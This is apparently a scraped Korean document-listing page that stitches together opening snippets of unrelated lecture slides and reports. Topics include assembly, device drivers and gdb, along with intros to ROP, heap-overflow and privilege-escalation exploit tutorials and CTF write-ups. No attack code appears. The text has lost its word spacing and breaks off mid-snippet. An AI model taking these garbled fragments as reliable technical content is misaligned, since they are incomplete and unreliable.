Microsoft PowerPoint - a5a.ppt [호환 모드] 5 장프로시저 (1) 책의라이브러리사용 5 장전반부 : 책의링크라이브러리 외부링크라이브러리개요 라이브러리프로시저호출 라이브러리링크 라이브러리프로시저 예제 연세대학교컴퓨터정보통신어셈블리언어 2 저자제공링크라이브러리 라이브러리파일 어셈블된프로시저를포함하고있는 OBJ 파일들을모아놓은파일 ( 확장자.LIB) 각 OBJ file 에는하나이상의 procedure 가들어있음

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

untitled

untitled 시스템소프트웨어 : 운영체제, 컴파일러, 어셈블러, 링커, 로더, 프로그래밍도구등 소프트웨어 응용소프트웨어 : 워드프로세서, 스프레드쉬트, 그래픽프로그램, 미디어재생기등 1 n ( x + x +... + ) 1 2 x n 00001111 10111111 01000101 11111000 00001111 10111111 01001101 11111000

More information

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode] Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)

More information

Microsoft PowerPoint - hy2-12.pptx

Microsoft PowerPoint - hy2-12.pptx 2.4 명령어세트 (instruction set) 명령어세트 CPU 가지원하는기계어명령어들의집합 명령어연산의종류 데이터전송 : 레지스터 / 메모리간에데이터이동 산술연산 : 덧셈, 뺄셈, 곱셈및나눗셈 논리연산 : 비트들간의 AND, OR, NOT 및 XOR 연산 입출력 (I/O) : CPU( 레지스터 ) 와외부장치들간의데이터이동 프로그램제어 : 분기, 서브루틴호출

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 정보보안개론 4 장 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다. Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택

More information

C 프로그래밍 언어 입문 C 프로그래밍 언어 입문 김명호저 숭실대학교 출판국 머리말..... C, C++, Java, Fortran, Python, Ruby,.. C. C 1972. 40 C.. C. 1999 C99. C99. C. C. C., kmh ssu.ac.kr.. ,. 2013 12 Contents 1장 프로그래밍 시작 1.1 C 10 1.2 12

More information

Microsoft PowerPoint - 15-MARS

Microsoft PowerPoint - 15-MARS MARS 소개및실행 어셈블리프로그램실행예 순천향대학교컴퓨터공학과이상정 1 MARS 소개및실행 순천향대학교컴퓨터공학과 2 MARS 소개 MARS MIPS Assembler and Runtime Simulator MIPS 어셈블리언어를위한소프트웨어시뮬레이터 미주리대학 (Missouri State Univ.) 의 Ken Vollmar 등이자바로개발한교육용시뮬레이터

More information

simple ROP Exploit

simple ROP Exploit SIMPLE ROP EXPLOIT 문제로풀어보는 ROP TigerTeam elttzero@tigerteam.kr 목차 1. 개요... 2 2. Buffer OverFlow... 2 3. BOF 방어기법... 3 3.1. DEP(Data Execution Prevention)... 3 3.2. ASLR(Address Space Layout Randomization)...

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,

More information

Microsoft PowerPoint - a6.ppt [호환 모드]

Microsoft PowerPoint - a6.ppt [호환 모드] 이장의내용 6 장조건부처리 부울과비교명령어 조건부점프 조건부루프명령어 조건부구조 컴퓨터정보통신 어셈블리언어 2 6.2 부울과비교명령어 부울명령어 Instructions ti 동작 AND dst, src OR dst, src XOR dst, src NOT dst dst dst AND src dst dst OR src dst dst XOR src dst NOT

More information

4. #include <stdio.h> #include <stdlib.h> int main() { functiona(); } void functiona() { printf("hihi\n"); } warning: conflicting types for functiona

4. #include <stdio.h> #include <stdlib.h> int main() { functiona(); } void functiona() { printf(hihi\n); } warning: conflicting types for functiona 이름 : 학번 : A. True or False: 각각항목마다 True 인지 False 인지적으세요. 1. (Python:) randint 함수를사용하려면, random 모듈을 import 해야한다. 2. (Python:) '' (single quote) 는한글자를표현할때, (double quote) 는문자열을표현할때사용한다. B. 다음에러를수정하는방법을적으세요.

More information

Heap Overflows For Humans 101 우리는이전에스택기반의버퍼오버플로우와포멧스트링취약점에대해이야기 했다. 지금시간에는한단계더나아리가서윈도우즈힙매니저와함께놀자 Unlink() to ex

Heap Overflows For Humans 101  우리는이전에스택기반의버퍼오버플로우와포멧스트링취약점에대해이야기 했다. 지금시간에는한단계더나아리가서윈도우즈힙매니저와함께놀자 Unlink() to ex Heap Overflows For Humans 101 xptr33@gmail.com candypython@gmail.com 우리는이전에스택기반의버퍼오버플로우와포멧스트링취약점에대해이야기 했다. 지금시간에는한단계더나아리가서윈도우즈힙매니저와함께놀자 Unlink() to execute a write 4 primitive 그전까지는해커들은스택오버플로우에서예외처리루틴을호출시키든어떤방법으로든

More information

슬라이드 1

슬라이드 1 마이크로컨트롤러 2 (MicroController2) 2 강 ATmega128 의 external interrupt 이귀형교수님 학습목표 interrupt 란무엇인가? 기본개념을알아본다. interrupt 중에서가장사용하기쉬운 external interrupt 의사용방법을학습한다. 1. Interrupt 는왜필요할까? 함수동작을추가하여실행시키려면? //***

More information

vi 사용법

vi 사용법 유닉스프로그래밍및실습 gdb 사용법 fprintf 이용 단순디버깅 확인하고자하는코드부분에 fprintf(stderr, ) 를이용하여그지점까지도달했는지여부와관심있는변수의값을확인 여러유형의단순한문제를확인할수있음 그러나자세히살펴보기위해서는디버깅툴필요 int main(void) { int count; long large_no; double real_no; init_vars();

More information

Microsoft Word - readme.doc

Microsoft Word - readme.doc ========================================================= 제 1 회광주과기원정보통신공학과 SW 경진대회 (Hacking 경진대회 ) 대회시작 : 2002 년 8 월 8 일 ( 목 ) 오후 9:00 ( 한국시간, GMT+9:00) 대회종료 : 2002 년 8 월 10 일 ( 토 ) 오후 9:00 ( 한국시간, GMT+9:00)

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1

MODBUS SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 1.00) 1 SERVO DRIVER( FDA7000 Series ) STANDARD PROTOCOL (Ver 100) 1 Contents 1 INTRODUCTION 2 PROTOCOL FRAME OUTLINE 3 FUNCTION FIELD 4 DATA FIELD 5 CRC CHECK 6 FUNCTION EXAM 7 EXCEPTION RESPONSE 8 I/O STATUS

More information

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용

More information

<4D F736F F F696E74202D204B FC7C1B7CEB1D7B7A55F F6E48616E646C6572B8A6C5EBC7D1BFA1B7AFB0CBC3E2B9D7BCF6C1A

<4D F736F F F696E74202D204B FC7C1B7CEB1D7B7A55F F6E48616E646C6572B8A6C5EBC7D1BFA1B7AFB0CBC3E2B9D7BCF6C1A 강연소개 Exception Handler 를통한에러검출및수정 디버깅을즐겨하십니까..? 에러를만나면반갑습니까..? 전화로버그보고를받았나요..? 잡히지않는버그!!!! 따분한강의 졸아도좋습니다!!!! 강연자소개 테스터 온라인게임클라이언트개발 로컬라이즈및해외지원업무 디버깅, 최적화, 호환성향상에관심 강연대상 x86 환경에서 Windows 프로그래밍 디버깅 / 에러추적은

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐

More information

[8051] 강의자료.PDF

[8051] 강의자료.PDF CY AC F0 RS1 RS0 OV - P 0xFF 0x80 0x7F 0x30 0x2F 0x20 0x1F 0x18 0x17 0x10 0x0F 0x08 0x07 0x00 0x0000 0x0FFF 0x1000 0xFFFF 0x0000 0xFFFF RAM SFR SMOD - - - GF1 GF0 PD IDL 31 19 18 9 12 13 14 15 1 2 3 4

More information

untitled

untitled Step Motor Device Driver Embedded System Lab. II Step Motor Step Motor Step Motor source Embedded System Lab. II 2 open loop, : : Pulse, 1 Pulse,, -, 1 +5%, step Step Motor (2),, Embedded System Lab. II

More information

Microsoft Word - ExecutionStack

Microsoft Word - ExecutionStack Lecture 15: LM code from high level language /* Simple Program */ external int get_int(); external void put_int(); int sum; clear_sum() { sum=0; int step=2; main() { register int i; static int count; clear_sum();

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit Defcon CTF 17 th Nickster Report StolenByte(Son Choong-Ho) http://stolenbyte.egloos.com thscndgh_4@hotmail.com WOWHACKER 2009. 08. 09 0x00 Contents 0x01 ------------- About Nickster 0x02 -------------

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

ActFax 4.31 Local Privilege Escalation Exploit

ActFax 4.31 Local Privilege Escalation Exploit NSHC 2013. 01. 14. 취약점분석보고서 Information Service about a new vulnerability Version 1.0 [ ] 2012 Red Alert. All Rights Reserved. 목차 1. 개요... 3 2. 공격... 4 3. 분석... 8 4. 결론... 12 5. 대응방안... 12 6. 참고자료... 13

More information